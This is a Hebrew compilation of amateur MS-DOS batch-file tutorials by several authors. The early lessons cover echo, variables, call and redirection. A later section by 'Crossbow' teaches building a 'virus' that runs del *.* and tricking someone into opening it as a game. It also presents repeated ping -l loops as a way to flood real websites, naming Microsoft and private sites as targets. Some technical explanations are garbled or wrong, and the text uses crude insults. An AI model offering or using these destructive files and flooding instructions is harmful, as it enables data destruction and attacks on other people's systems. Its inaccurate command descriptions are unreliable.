**Batch**

**whats up every body? הכל בסדר אחים שלי? מבואסים? מצוין!**

**זה בדיוק הזמן להדליק מזגן לשים על 30 מעלות, לשתות כוס תה\קפה\שוקו-חם ולקרוא את הטקסט הזה על כורסא מעור!**

**אז מה יש לנו היום?**

**ככה: היום נתחיל בכתבת ההמשכים של שפת התכנות: "batch" הקבצים שהיא יוצרת נקראים "batch-files".**

**אם אתם חושבים שאתם מכירים את השפה הזאת - תדעו שאתם לא יודעים כלום!!!**

**בכתבות האלה אתם תבינו קצת תכנות, והנה החסרונות והייתרונות:**

**חסרונות:**

**\* אין בשפה הזאת גרפיקה מי יודע מה... (מה אתם רוצים? הקבצים שלה רצים על DOS 6.0)**

**יתרונות:**

**\* אחלה מורה (אני כמובן...) שיסביר לכם צעד אחר צעד כיצד לעשות כל דבר**

**\* השפה ממש לא מסובכת!**

**\* לא דרושים שום תוכנות מסויומות בשביל לתכנת batch-files.**

**אז אחרי ההקדמה הזאת - אפשר להתחיל בשיעור הראשון:**

**אז מה נלמד היום?**

**\* סביבת התכנות**

**\* פקודות בסיסיות ב- DOS**

**\* התוכנית הראשונה שלי (כמו בכל הספרים)**

**^^^ סביבת התכנות ^^^**

**אוקי, בואו ניגש לעבודה - בשביל לעבוד בצורה נוחה פיתחו תיקייה בשם batch בתוך ה- my documents (המסמכים שלי) שלכם.**

**תקישו לחצן שמאלי בעכבר, וצרו מסמך טקסט (כן, כן, טקסט) חדש, קראו לקובץ: "first\_batch".**

**זהו - זוהי סביבת העבודה שלכם.**

**בעצם קובץ ה- BATCH-FILES הוא מיקבץ של פקודות (עם כמה הוספות חשובות) שרצות ברגע שמפעילים את הקובץ.**

**בשביל שלא תיראו אידיוטים פתחו את הקובץ וכתבו בו כך:**

**אנא ישרו את ה-**

**טקסט לשמאל ע"י**

**לחיצה על ה- ctrl**

**וה- shift השמאליים**

**בבת-אחת!**

**@echo off**

**echo dk9 is the king of the world**

**אחרי שכתבתם את זה - לחצו קובץ (file) שמירה בשם (save as) לא משנה מה כתוב שם, מחקו את זה וכתבו בתיבה של שם הקובץ את הדבר הבא במדויק: first\_batch.bat**

**צאו מהקובץ טקסט, ושימו לב שיש לכם קובץ חדש בספרייה שלכם, פתחו אותו ותראו מה קרה...**

**נחמד, אה?**

**פקודות בסיסיות ב- DOS**

**אוקי, בואו נראה מה יש לנו פה:**

**DEL - פקודה שאנחנו הולכים להשתמש בו הרבה - זוהי הפקודה למחיקת קובץ מסוים.**

**CD - דפדוף לתיקייה אחרת**

**..CD - חזרה לתיקייה הקודמת**

**MKDIR - יצירת תיקייה חדשה (לדוגמא: "MKDIR DK9" יצור תיקייה בשם DK9**

**DIR - הצגת כל הקבצים והתיקיות שבתיקייה הנוכחית**

**RENAME - שינוי שם של תיקייה מסוימת (לדוגמא: RENAME DK9.TXT DARDAS.TXT - זה ישנה את השם של DK9.TXT ל- DARDAS.TXT)**

**זהו, בערך...**

**עכשיו אפשר להתחיל ב:**

**התוכנית הראשונה שלי**

**בואו נלמד כמה פקודות חשובות:**

**1. @echo**

**2. set var**

**------------------------------------------------------------------------------------------------**

**@echo off**

**set dk9=Hello**

**set hacking=World**

**echo %dk9% %hacking%!**

**------------------------------------------------------------------------------------------------**

**העתיקו את הטקסט שנמצא בין שני הקווים המקווקוים (העתיקו זאת ללא הקווים עצמם) - אל קובץ טקסט חדש, לחצו שמירה בשם (save as) והקלידו: second-batch.bat**

**הפעילו את הקובץ...**

**מה קרה?**

**זה מה שקרה:**

**נפתח חלון DOS והיה כתוב שם hello world!**

**עכשיו ננסה לפענח איך זה קרה!**

**נתחיל מהחלק הראשון של הקוד:**

**echo off@ - פקודה זו, פשוט אומרת למחשב לא להראות את כל המקורות של הקובץ, נסו להפעיל את ה- batch ללא הפקודה ותראו מה קורה.**

**set dk9=hello**

**set hacking=world**

**אוקי, פה זה כבר נהיה מסובך, ישנו דבר שנקרא משתנה (הקטע על המשתנים נועד לאלה שלא למדו שום שפת תכנות, אם אתה יודע מהו משתנה - עבור לפסקה הבאה), ה"משתנה" כשמו כן הוא - הוא ניתן לשינוי, בואו ניתן הדגמה קצרה:**

**אני למחשב: קבע שבתול משתנה X יהיה כתוב "dk9"**

**אני למחשב: כתוב את מה ש- X מכיל**

**פעולה (מה שיקרה כתוצאה מ"התוכנה" שעשיתי): dk9**

**זוהי בדיוק הפעולה שאנו עושים ב:**

**set dk9=hello**

**set hacking=world**

**שימו לב:**

**כשאנו כותבים:**

**set dk9=hello**

**מה שהמחשב עושה זה כך:**

**הוא מקצה חלק מסוים בזיכרון של המחשב וקורא לו dk9, אחרי זה אנו יכולים לראות את סימן ה- "=", זה אומר להכניס לקטע dk9 שהוקצא מקודם את התוכן "hello".**

**החלק הבא:**

**set hacking=world**

**אותו דבר בדיוק, רק הפעם אנו קובעים משתנה עם שם אחר (hacking) ועם תוכן שונה (world).**

**משחק ילדים אה...**

**החלק הבא שכתבנו היה:**

**echo %dk9% %hacking%!**

**מה שפה עשינו זה בדיוק כך:**

**אמרנו למחשב לכתוב את התוכן של המשתנה בשם dk9 ושל hacking.**

**הפקודה echo היא כמו הפקודה write בכל שפת תכנות אחרת, היא אומרת למחשב לכתוב את הדבר שיבוא אחר ה- echo.**

**בשביל שהמחשב ידע שאנחנו מתכוונים למשתנה אנו שמים % בין תחילת שם המשתנה לסוף שם המשתנה.**

**אם לא היינו עושים את זה זה מה שהיה יוצא לנו:**

**dk9 hacking!**

**מה שעשינו בשביל שהמחשב יזהה שה- dk9 וה- hacking הם משתנים ושיכתוב את התוכן שלהם ו-ל-א את השם שלהם זה פשוט שמנו % בתחילת שם המשתנה, ו- % בסוף שם המשתנה.**

**אם אתם שמים לב - ישנו ! שאינו אם %%, זה בגלל שלא הגדרנו את ! כמשתנה, אנו פשוט רוצים שהמחשב יכתוב:**

**! heloo world**

**| | |**

**ל כ כ**

**ל= לא משתנה**

**כ= כן משתנה (שגדרנו בתחילת התוכנית)**

**HaSaTaN**

**Batch המשך**

**אחרי שלמדנו פעם שעברה כיצד לקבוע משתנים, אנחנו יכולים לעבור לפקודות הבאות (מומלץ לחזור בריפרוף על המדריך הקודם), הנה הפקודות שנלמד היום:**

**1. CALL**

**2. ECHO**

**3. FOR**

**4. GOTO**

**5. IF**

**6. PAUSE**

**7. REM**

**בסוף המדריך, תהיינה דוגמאות על כל פקודה ופקודה, אז על תיבהלו אם אתם לא רואים דוגמאות באמצע המדריך.**

**הפקודה: CALL**

**כמשמעה, פקודה זו "קוראת" לקובץ batch-file אחר, אם סתם נריץ מתוך קובץ BATCH קובץ BATH אחר, מה שיקרה, זה, שהקובץ הקורא יסגר, והקובץ שעכשיו פועל (הקוץ שלו קראו) ישאר פתוח. מה שפקודת CALL עושה זה כך:**

**call dk.bat**

**בלה**

**בלה**

**בלה...**

**מה שיקרה זה, הקובץ שבו כתוב call dk.bat ישאר פתוח, וכש- dk.bat יגמור את פעולתו הוא יסגר, והפעולה תחזור לעשות את:**

**בלה**

**בלה**

**בלה...**

**הפקודה: ECHO**

**כמובן שהפקודה הזאת זוהי הפקודה להדפסת משהו (או למסך, או לקובץ ואפילו למדפסת), לדוגמא:**

**@echo off**

**echo dk9**

**א. התו "@" לפני פקודה כלשהי גורם לפקודה שלא להיכתב על מסך הדוס, לכן, במקום לכתוב לפני כל שורה @, ישנה את הפקודה:**

**@eho off**

**שזה גורם לכל הפקודות שלא להיכתב על מסך הדוס, אלא פשוט לבצע אותם בלי שיראו כלום.**

**ניתן לבטל את זה בשלב מסוים בתוכנית ע"י:**

**@echo on**

**וחוזר חלילה, אם רוצים אחרי זה עוד פעם:**

**@echo off**

**הערה:**

**את ה:**

**@echo off**

**יש תמיד לשים בתחילת תוכנית, לא לשים אותו באמצע!**

**הפקודה: FOR**

**על פקודה זו, יבואו הסברים בהמשך.**

**הפקודה: GOTO**

**אם אתם מכירים את הפונקציות ב C, או את ה- PROCCES ב- DIV, זה אותו דבר, זה מאפשר לנו לקפוץ מקטעים שונים תוכנית למקומות אחרים, כמובן שאפשר לעשות "קפיצות על תנאי", דבר שיכול להיות מאוד יעיל.**

**הפקודה: IF**

**פקודה זו פועלת רק בשלושה תנאים:**

**1.**

**if ERRORLEVEL do-something**

**2.**

**IF "string1"=="string2" do-something**

**3.**

**IF EXIST <filename> do-something**

**הפקודה: PAUSE**

**כשתכתוב PAUSE באמצע תוכנית, התוכנית תעצור ותחכה להקשת מקש כלשהו, יעיל מאוד.**

**הפקודה: REM**

**ברוב התוכנות זה מסומן כך:**

**//**

**או כך:**

**/\* \*/**

**אבל ב- BATCH, הערות מתחילות אם הפקודה REM, כל דבר שתכתבו אחרי הפקודה הזאת לא יופיע בתוכנית.**

**חשוב מאוד להשתמש בפקודה הזאת, כדי להסביר קטעים מסוימים, או פשר של שמות של משתנים שונים, כי אחר כך, פשוט לא זוכרים מה הקטע הזה עושה בתכנית, אז ה"הערה" מזכירה את זה.**

**דוגמאות :**

**צרו קובץ בשם: sample1.bat**

**צרו קובץ בשם: hello.bat**

**בתוך: sample1.bat כיתבו:**

**######################**

**@echo off**

**REM this is sample1.bat**

**REM this prog, calls "hello.bat".**

**echo we are now in "sample1.bat", and we are calling "hello.bat".**

**echo \*\*\***

**call hello.bat**

**echo \*\*\***

**echo we are back in: "sample1.bat"!**

**######################**

**ובתוך: hello.bat כיתבו:**

**@echo off**

**REM this prog, just write: "hello world".**

**echo we are now in "hello.bat".**

**echo hello world!**

**######################**

**עכשיו, הפעילו את sample1.bat, זה מה שתקבלו (תישרו לשמאל):**

**we are now in "sample1.bat", and we are calling "hello.bat".**

**\*\*\***

**we are now in hello.bat**

**hello world!**

**\*\*\***

**we are back in "sample1.bat"**

**יפה, עכשיו, למי שכבר הבין מה הולך כאן, שיעבור לפיסקה הבאה, למי שלא הבין - אני יסביר עכשיו:**

**ב: sample1.bat כתבנו:**

**@echo off**

**REM this is sample1.bat**

**REM this prog, calls "hello.bat".**

**echo we are now in "sample1.bat", and we are calling "hello.bat".**

**echo \*\*\***

**call hello.bat**

**echo \*\*\***

**echo we are back in: "sample1.bat"!**

**בהתחלה, כתבנו: @echo off וזה ביטל לנו את הופעת הפקודות על המסך.**

**מייד אחרי זה יש לנו הערות לגבי הקובץ sample1.bat ומה הוא עושה.**

**אחרי זה מובאת הפקודה echo שמוציאה פלט על המסך, מה היא הוציאה? את זה:**

**we are now in "sample1.bat", and we are calling "hello.bat".**

**וגם שורה אחרי זה יש לנו עוד פעם את echo, רק שהפעם הוא כותב:**

**\*\*\***

**עכשיו הקטע היותר מעניין, אנחנו עכשיו "קוראים" לקובץ hello.bat.**

**עכשיו תדמיינו שמיזערנו את sample1.bat והפעלנו את hello.bat .**

**לאחר ש- hello.bat סיים את פעולתו, אנחנו חוזרים ל- sample1.bat ושם אנחנו כותבים:**

**echo \*\*\***

**שמוציא לנו את הפלט הבא:**

**\*\*\***

**ומיד אחרי זה עוד echo שכותב לנו על המסך:**

**we are back in: "sample1.bat"**

**הסברים ל: hello.bat**

**כמו תמיד התחלנו את הקובץ ב:**

**@echo off**

**ומיד אנחנו כותבים (ע"י הפקודה echo) את זה:**

**we are now in hello.bat**

**hello world!**

**זה כל מה שהתוכנית שלנו עושה!**

**בתוכנית הבאה, אנחנו נשתמש בפקודות קצת שונות...**

**אז הנה הקוד מקור, תעתיקו אותו לתוך קובץ, ותשמרו אותו בשם:**

**sample2.bat**

**הנה הקוד:**

**@echo off**

**REM i gave the name tmp\_hello.bat beacuse "tmp" is a shortcut of temprory, in hebrew: זמני**

**echo @echo Hello World > tmp\_hello.bat**

**call tmp\_hello.bat**

**del tmp\_hello.bat**

**בהתחלת התוכנה אנחנו כותבים @echo off.**

**מיד אחרי זה כתבתי הערה לגבי איזה משהו, לא חובה לקרוא את ההערה.**

**עכשיו מגיע הקטע שאתם עדיין לא מכירים, נכון שכשדיברנו על האפשרות: echo אמרנו שאפשר לכתוב לתוך קובץ? יפה, אז זה בדיוק מה שאנחנו עושים כאן!**

**שימו לב טוב טוב!**

**echo @echo hello world > tmp\_hello.bat**

**כמובן שהפקודה תתחיל ב: echo, הפרמטר הבא הוא, מה שאנחנו רוצים (טקסט כלשהו) להכניס לתוך הקובץ. והפרמטר הבא הוא מיקום הקובץ, לפני שאנחנו כותבים את מיקום הקובץ יש לכתוב את הסימן:**

**<**

**הערה:**

**במקרה שאין כזה קובץ, יווצר קובץ חדש, ויוכנס לתוכו מה שאמרנו ל: sample2.bat להכניס לתוכו.**

**בשלב הבא של התכנית, אנחנו "קוראים" (call) לקובץ שיצרנו.**

**ומיד אחר מכן אנחנו מוחקים את הקובץ, לכן קראנו לו: tmp\_hello.bat , בגלל ש- tmp = זמני....**

**אתם יכולים למחוק את השורה האחרונה (del tmp\_hello.bat שמוחקת את הקובץ שיצרנו), ואז כשתפעילו את הקובץ, אתם תראו בתיקייה שבא הפעלתם את הקובץ, קובץ חדש בשם:**

**tmp\_hello.bat**

**התוכנית הבאה, די דומה לתכנית הקודמת, אבל מראה לנו את ההבדל בין: < ל: <<.**

**העתיקו את זה לתוך קובץ בשם: sample3.bat**

**@echo off**

**REM this is a bit complicated prog, read the describe on the paper**

**echo @echo off > hello.bat**

**echo echo hello world >> hello.bat**

**echo echo how are you? >> hello.bat**

**call hello.bat**

**התכנית מתחילה כרגיל ב: @echo off**

**אחרי זה יש לנו הערה, לא חשוב בשבילנו כרגע.**

**עכשיו אנחנו עושים שימוש במה שלמדנו בתכנית הקודמת אנחנו יוצרים קובץ בשם hello.bat ומכניסים לתוכו את זה:**

**@echo off**

**(עכשיו בתוך הקובץ החדש שנוצר: hello.bat יש לנו את הקטע הבא: @echo off).**

**אחרי יש לנו משהו חדש, שעוד לא הסברתי, עכשיו אני יסביר את ההדל בין < ל: <<...**

**כשאנו כותבים < , שם הקובץ שנכתב אחרי הסימן הזה נוצר, או אם הוא קיים הוא נמחק לגמרי ונוצר קובץ חדש, באותו שם שבתוכו כתוב את מה שבא לפני ה: <.**

**כשאנו רוצים להוסיף שורה בקובץ מסוים, אנו משתמשים ב: <<**

**ה: << מוסיף לקובץ הקיים את מה שכתבנו לפני, לכן אפשר להשתמש ב: << רק כשיש קובץ קיים כלשהו.**

**נחזור לתכנית שלנו:**

**אחרי שבשורה הקודמת יצרנו את hello.bat וכתבנו בתוכו @echo off אנחנו מוסיפים לו שורה ע"י:**

**echo echo hello world >> hello.bat**

**הוספנו את השורה:**

**echo hello world**

**לתוך:**

**hello.bat**

**בשורה הבאה אנחנו מוסיפים עוד שורה ל: hello.bat, הפעם את השורה הזאת:**

**echo how are you?**

**הערה:**

**יש לזכור שעדיין לא הראנו למשתמש שום דבר על המסך, הכל נעשה בלי ידיעת המשתמש!**

**הוא לא רואה כלום, רק יצרנו קובץ (hello.bat), וכתבנו בו:**

**@echo off**

**echo hello world!**

**echo how are you?**

**הדבר הבא שאנחנו עושים בתכנית זה לקרוא לקובץ שיצרנו בעמל רב כל כך ע"י הפקודה:**

**call hello.bat**

**עכשיו יופיע לנו כל מה שהכנסנו לתוך hello.bat!**

**HaSaTaN**

**BATCH**

**טוב, אז מה זה קובץ אצווה?**

**קובץ אצווה זה קובץ עם סיומת bat (לא כמו תחת באנגלית... אל תדאגו, גם זה**

**יגיע...). עכשיו, היום אנחנו הולכים לתכנת לנו כמה דברים... נתחיל בעצם**

**מפקודות בסיסיות של Ms-Dos. קודם כל כנסו לתפריט "התחל", ואז ל- "הפעלה".**

**תכתבו שם את המילה Command כדי לפתוח חלון Ms-Dos חדש. הנה הפקודות:**

**1) ..cd - מחזיר אותנו תיקייה למעלה. חלק חשוב מדיפדוף בדוס, חלק הרבה**

**פחות חשוב לנו כרגע...**

**2) תיקייה + cd - מכניס אותנו לתיקייה או לתת סיפרייה חדשה. למשל, אם**

**אנחנו בכונן C, ואנחנו רוצים מאוד מאוד להכנס לתיקייה Windows, אז**

**נכתוב ככה: Cd Windows (ואז נלחץ על אנטר).**

**3) dir - מראה את כל התיקיות והקבצים בתיקיה הנוכחית. למשל, אם אתם בכונן**

**C, ותכתבו dir, ותלחצו על אנטר, יהיו כתובים לכם כל התיקיות והקבצים,**

**יחד עם עוד קצת אינפורמצייה (גודל הקבצים, סיומות וכאלה).**

**4) << - כתיבה לקובץ. כנסו לכונן C (בעזרת פקודת ..Cd). כתבו ככה:**

**dir >> Fuck.txt ואז לחצו על אנטר. זה בעצם אומר למחשב לקחת את הפקודה**

**dir, שמראה את הקבצים והתיקיות ולשים את התוצאה בקובץ Fuck.txt. בגלל**

**שאנחנו בתוך כונן C, ולא באף תת סיפרייה או תיקייה אחרת, אז הקובץ**

**יהיה בתוך כונן C. תצאו מ- Ms-Dos ע"י כתיבת המילה Exit (ולחיצה על**

**אנטר...). אתם בוינדואוז כמובן... כנסו לקובץ שיצרנו (C:/Fuck.txt).**

**ראיתם? יופי!**

**5) :X - כדי לעבור כונן, תכתבו ככה, אבל במקום X תכתבו את אות הכונן.**

**6) Cls - תכתבו את זה כדי לנקות את המסך מהבולשיט הקודם. אני חושב ש- Cls**

**זה קיצור של CLean Screen, אבל אני לא בטוח. לא משנה, העיקר שיש פקודה**

**חדשה שבעצם לא נותנת כלום.**

**7) Del - למחוק קובץ. מאוד מאוד מאוד שימושי לאלה שרוצים לגרום נזק.**

**8) Ping - טוב מאוד להפלת אתרי אינטרנט. אל תנסו עכשיו, אחר כך אני אראה**

**לכם מה זה לעזאזל, אבל בת'כלס קל לתפוס אתכם אחרי זה...**

**טוב, אם הבנתם אז בואו נמשיך לפקודות חוץ**

**פקודות חוץ הם פקודות שמשפיעות על המערכת ועל הפלט בתוך קובץ אצווה. טוב,**

**אז הנה הפקודות שתצטרכו:**

**1) ECHO OFF@ - גורם למשתמש לא לראות את כל הבולשיט של התוכנית. מומלץ.**

**2) ECHO ON@ - ההפך מהפקודה הקודמת, לא מומלץ בכלל.**

**3) ECHO@ - כתיבת טקסט רגיל לתוכנית.**

**4) PAUSE@ - מחכה לתגובה מהמשתמש (התגובה היא בעצם לחיצה על מקש). פקודה**

**זו באה עם הטקסט Press Any Key To Continue או משהו כזה. עכשיו, כדי**

**לרשום הודעה אישית ולא את ברירת המחדל המציקה הזאת, תעשו משהו כזה:**

**ECHO Fuck You, And Press Any Key, Mother Fucker@**

**PAUSE>NUL@**

**הסבר: השורה הראשונה היא הטקסט שיהיה לפני הלחיצה על המקש של המשתמש,**

**והשורה השנייה מחכה ללחיצה מהמשתמש. המילה NUL בעצם גורמת להעלמת**

**ברירת המחדל של פקודת ה- PAUSE.**

**אוקי, יש פקודות, עכשיו החלק המעשי - התכנות!!!**

**אוקי. הבנתם פחות או יותר את הפקודות. פתחו את ה- Notepad. אם אתם לא**

**יודעים מה זה, אז זה פנקס הרשימות שבא עם וינדואוז. כנסו לתפריט "התחל",**

**לחצו על "הפעלה", כתבו שם את המילה: Notepad ולא לשכול ללחוץ "אנטר".**

**עכשיו, תרשמו ככה (קונטרול ושיפט):**

**ECHO@ Fuck**

**יופי. עכשיו תלחצו למעלה על תפריט "קובץ", ואז על "שמירה בשם". תשמרו את**

**זה בכונן C, בשם Try.bat ואז תסגרו את הכתבן. פתחו את הקובץ שיצרנו דרך**

**הוינדואוז: C:/Try.bat ואז תראו מה כתוב. יופי! אדיר! מגניב! עכשיו עשינו**

**את הצעד הראשון בתכנות של דוסים!!! זאת אומרת, של Ms-Dos! אחלה! עכשיו**

**הגיע הקטע הכי שווה פה: ליצור וירוסים!!! הסימן \* (כוכבית) מסמן כל דבר**

**בתור סטרינג (מחרוזת). לא משנה. העיקר הוא שעם אנחנו רושמים \*.\* אז אנחנו**

**אומרים למחשב לזהות כל קובץ בעל כל סיומת (כל קובץ מחורבן על המחשב!). אז**

**פשוט אפשר לעשות ככה: לכתוב \*.\* del, ואז לשמור בתור קובץ אצווה, ממש כמו**

**שעשינו מקודם. אבל חשוב מאוד: אל תריצו את הקובץ!!! אל תפתחו אותו!!! אם**

**הבנתם את הפקודה נכון, אז תדעו שהפקודה אומרת למחשב למחוק כל קובץ שקיים**

**על המחשב!!! אז אפשר לתת את הקובץ למישהו, ולומר לו שזה משחק. זה הוירוס**

**הכי פשוט שאפשר לעשות... בקטע של וירוסים אפשר להיות מקוריים מאוד. אני**

**בקטע של להעביר מסרים וכאלה, כמו זה (קונטרול ושיפט):**

**ECHO OFF@**

**ECHO Microsoft Stinks@**

**\*.\* del**

**הבנתם?! נסו להיות כאלה בהתחלה. אם אתם ממש כישרון בציור במחשב וכאלה,**

**נסו להעביר מסר יותר בוטה, כמו זה (עוד פעם קונטרול ושיפט):**

**ECHO OFF@**

**\\\\\\\\\\\\ \\\\\\\\\ \\ \\ ECHO@**

**\\\\\\\\\\\\ \\\\\\\\\ \\ \\ \\ ECHO@**

**\\ \\ \\ \\ \\ ECHO@**

**\\ \\ \\ \\ \\ ECHO@**

**\\ \\ \\ \\ \\ ECHO@**

**\\ \\ \\ \\ \\ ECHO@**

**\*.\* del**

**נסו לראות מה כתוב שם. כתוב "חרא". אל תשכחו להוסיף את ECHO@.**

**אוקי. עכשיו להפלת שרת אינטרנט. אתם צריכים:**

**1) מחשב**

**2) מקלדת**

**3) ידיים להפעיל את המקלדת**

**4) Ms-Dos**

**אם יש לכם הכל אז בסדר, אם לא אז או שאין לכם מחשב או שאין לכם ידיים.**

**טוב, עכשיו, זוכרים את הפקודה Ping? יופי. אם נגיד אתם רוצים להפיל את**

**כתובת האיי.פי 127.0.0.0, אז תכתבו ככה:**

**ping 127.0.0.0 /l 10000**

**אבל לא פעם אחת, אלא מיליון פעם! אחד מתחת לשני! ככה:**

**ping 127.0.0.0 /l 10000**

**ping 127.0.0.0 /l 10000**

**ping 127.0.0.0 /l 10000**

**ping 127.0.0.0 /l 10000**

**אבל יותר פעמים... זה יוצר עומס יתר... טוב, להשיג כתובת איי.פי אני לא**

**חושב שתהיה לכם בעייה. רגע - רגע - רגע! אבל מה אם אתם לא יודעים מה זה**

**איי.פי? טוב, נו, הסבר קצר: לכל מחשב יש כתובת איי.פי. איי.פי זה קיצור**

**של אינטרנט פרוטוקול (אני חושב... יש לי בעייה עם ראשי תיבות...). אז**

**נגיד שאנחנו רוצים להפיל אתר. ניקח סתם אתר... נגיד מייקרוסופט... סתם**

**באופן אקראי בחרתי (כן בטח...) את האתר הזה. תפתחו חלון Ms-Dos ותרשמו**

**Tracert microsoft.com ואז תנו אנטר. כמובן שאתם צריכים להיות מחוברים**

**לאינטרנט... מה שעשינו פה זה בעצם לראות דרך איזה מחשבים עברנו כדי להגיע**

**לאתר של מייקרוסופט. תסתכלו על הכתובת האחרונה ברשימה. באותה שורה צריך**

**להיות מספר. זה מספר האיי.פי של האתר. עכשיו, תפתחו את הכתבן, תשתמשו במה**

**שלמדנו קודם (ping), ואז תשמרו בתור קובץ אצווה. הריצו את קובץ האצווה**

**שיצרנו, ואיזה פלא! אנחנו מתקיפים את האתר!!! נסו בהתחלה דברים קצת יותר**

**קטנים כמו אתרים פרטיים וכאלה... טוב, אז זה המדריך ל- Ms-Dos. מקווה**

**שבכלל הבנתם משהו.**

**מקווה שלא סיבכתי אתכם יותר מדי...**

**Crossbow**

**BATCH המשך**

**היום נעבוד על הפוקנציות הכי שוות שיש באם אס דוס...**

**בעזרת פונקציות כאלה תוכלו ליצור תוכנה משלכם (!) באם אס דוס!!! חחחחח...**

**טוב, בואו נתחיל. אני מניח שחלק מכם מכירים חלק מהפונקציות, אבל שיהיה...**

**LOCK**

**גורמת לפתיחה של כל התיקיות והקבצים החסומים, גישה חופשית, מאוד שימושי!**

**CHOICE**

**באם אס דוס, בניגוד למערכות הפעלה אחרות, כשהמערכת מבקשת קלט מהמשתמש,**

**הקלט בדרך כלל ישקול ביט אחד (יעני אות אחת ועוד אנטר...). והאמת היא שזה**

**די חבל, כי זה נותן הגבלות די גדולות. לא נורא. ברירת המחדל של הפונקצייה**

**הזאת היא כן או לא, יעני האם אתה מסכים או לא. זאת בדיוק הפונקצייה שעולה**

**כשמנסים למחוק את כל הקבצים מהמחשב בלחיצה אחת, יעני del \*.\* המערכת תשאל**

**האם אתה רוצה למחוק את הכל... אפשר לכתוב אחרי הפונקצייה את מה שרוצים.**

**לדוגמא: אם אנחנו רוצים לשאול את המשתמש "האם ברצונך לפרוץ לטייגרס"?, אז**

**נכתוב ככה:**

**CHOICE Do you want to hack Tigers co?**

**אבל אם נריץ את זה באם אס דוס זה ייראה בערך ככה:**

**Do you want to hack Tigers co? [Y,N]**

**טוב? עכשיו נעבוד על פונקצייה קשה מאוד שקשורה לפונקציית בחירה. אנחנו**

**רוצים לעשות שאם המשתמש בחר "כן" אז יקרה ככה וככה, ואם הוא בחר "לא" אז**

**יקרה ככה וככה... ואיך אנחנו עושים את זה? תמשיכו לקרוא...**

**IF ERRORLEVEL GOTO**

**טוב, מי שלא מכיר פונקציית תנאי, שיכיר. זה מורכב בעיקר משני חלקים:**

**התנאי שאם ייקרה, והתוצאה, יעני מה שיקרה. מי שיודע ויזואל בייסיק או סי**

**פלוס פלוס ברמה של מתחילים ומעלה יודע מה זה פונקציית תנאי. עכשיו, מה זה**

**פונקציית מעבר? פונקציית מעבר (גו טו) מעבירה את התוכנה למקום אחר בקוד**

**המקור ההתחלתי. נשמע מסובך? לא נורא... נגיד שאני כותב לו GOTO HELL...**

**התוכנה מחפשת מקום שכתוב בו נקודותיים ואז את המילה HELL...**

**זה בערך ככה לחצו על קונטרול ושיפט השמאליים כדי להבין מה הולך פה:**

**:HELL**

**@ECHO Fuck**

**GOTO HELL**

**אם הבנתם טוב טוב, התוכנה כותבת מילה כלשהי (פונקציית אקו, מי שלא יודע**

**לעזאזל מה זה שייקרא בטקסט על תכנות קבצי אצווה ומיד!!!), ואז חוזרת**

**להתחלה, כי ההתחלה נקראת "האלל" וכתוב לתוכנית ללכת ל- "האלל". אני מקווה**

**מאוד שאתם לא מריצים את זה עכשיו, כי זאת (בערך) לולאה אינסופית... אם**

**התוכנית בהרצה ואתם עדיין יכולים לקרוא מה שכתוב פה, הייתי מציע לכם מאוד**

**מאוד מאוד לכבות את המחשב... ולהדליק מחדש כדי להמשיך לקרוא... טוב, בואו**

**נראה, יש עוד משהו שלא הסברתי... כן! פונקציית ארורלבל!!! הפונקצייה הזאת**

**מתייחסת לאופצייה שבה בחר המשתמש. אם המשתמש בחר באופצייה הראשונה, אז זה**

**נקרא ארורלבל 1, אם באופצייה השנייה אז זה נקרא ארורלבל 2 וכן הלאה. אז,**

**מה זה עוזר לנו? הממממ... איזה פונקצייה אנחנו מכירים שמשתמשת באופצייות?**

**פונקציית בחירה כמובן!!! אז, אם המשתמש בחר באופצייה הראשונה (כן), אז**

**יקרה ככה וככה, ואם בשנייה (לא) אז ככה וככה... עכשיו, בניתי פה קוד מקור**

**של תוכנה מסכנה, שתבינו יותר טוב. לחצו על קונטרול ושיפט השמאליים לקרוא:**

**ECHO OFF**

**CHOICE Do you want to exit?**

**IF ERRORLELEL 1 GOTO ERR1**

**IF ERRORLEVEL 2 GOTO ERR2**

**:ERR1**

**CLS**

**ECHO You little asshole! Don't activate this program again!**

**PAUSE>NUL**

**GOTO END**

**:ERR2**

**CLS**

**ECHO You will quit anyway because I'm in a bad mood...**

**PAUSE>NUL**

**:END**

**CLS**

**ECHO See ya next time, Jackass!**

**ECHO Made by Crossbow from the Tigers co.**

**ECHO Log in to http://www.tigers.exe.co.il**

**PAUSE>NUL**

**EXIT**

**CHOICE OPTIONS**

**פחחחחחחח... דרך אגב, אתם יודעים שאפשר לשנות את פונקציית הבחירה? אפשר**

**להשתמש בדברים אחרים במקום ברירת המחדל... אפשר לכתוב ככה:**

**CHOICE /C:abcdefghijklmnopqrstuvwxyz**

**טוב, קצת הסברים:**

**CHOICE**

**זאת פונקציית הבחירה... אני מקווה מאוד שאני לא צריך להסביר שוב...**

**/C:**

**זאת התת פקודה שאומרת למערכת שאני לא רוצה להשתמש בברירת מחדל...**

**abcdefghijklmnopqrstuvwxyz**

**אלה כל האופציות... כל אופצייה באה בתור תו אחד... זה ייראה ככה:**

**[A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z]**

**טוב? והארורלבל לא משתנה... 1 זה הראשון 2 זה השני 3 זה השלישי...**

**EXIT**

**מי שלא מבין זאת פקודה שיוצאת... אפשר גם לכתוב win אבל אני מעדיף אקסיט.**

**טוב, אני חושב שזה מספיק, אני חייב לנוח קצת... אז תתכנתו, כי זה עושה את**

**האצבעות שלכם בידיים ממש ממש ממש ממש ממש ממש חזקות!!! שלכם,**

**Crossbow**

**BATCH בעיברית**

**טוב, עכשיו נרגעתי. טוב, אז, איך כותבים בעברית באם אס דוס? האמת היא**

**שכאשר אתם באם אס דוס, המקלדת מכוונת תמיד על אנגלית, ובגלל זה אי אפשר**

**לכתוב בעברית. אז, אני לא מדבר פה על עברית בחלון אם אס דוס, אלא בתוך**

**קבצי אצווה. עכשיו, תאמינו או לא, גיליתי את זה כשניסיתי לפצח את הטבלת**

**שיאים המטומטמת של המשחק המפגר "בונוס"... כן, כן, כן! פתחתי את הקובץ**

**שבו נמצאת הטבלה, וכמובן, מצאתי משהו מוזר לאללה: במקום אותיות בעברית,**

**מצאתי כתב סתרים מטומטם!!! אז חשבתי קצת, ובסוף גיליתי משהו: בונוס הוא**

**בנוי על אם אס דוס... ואם אס דוס לא קורא עברית כרגיל: אם אס דוס הוא הרי**

**באנגלית. אז לקחתי את הטקסט של הטבלה, ובניתי קובץ אצווה שיראה על המסך**

**את הכתב סתרים הזה. ולתדהמתי, גיליתי שבאם אס דוס רואים שמות בעברית!!!**

**אז זה הולך ככה: אם אס דוס מתרגם קי אסקיי מסויים לאותיות עבריות. אז הנה**

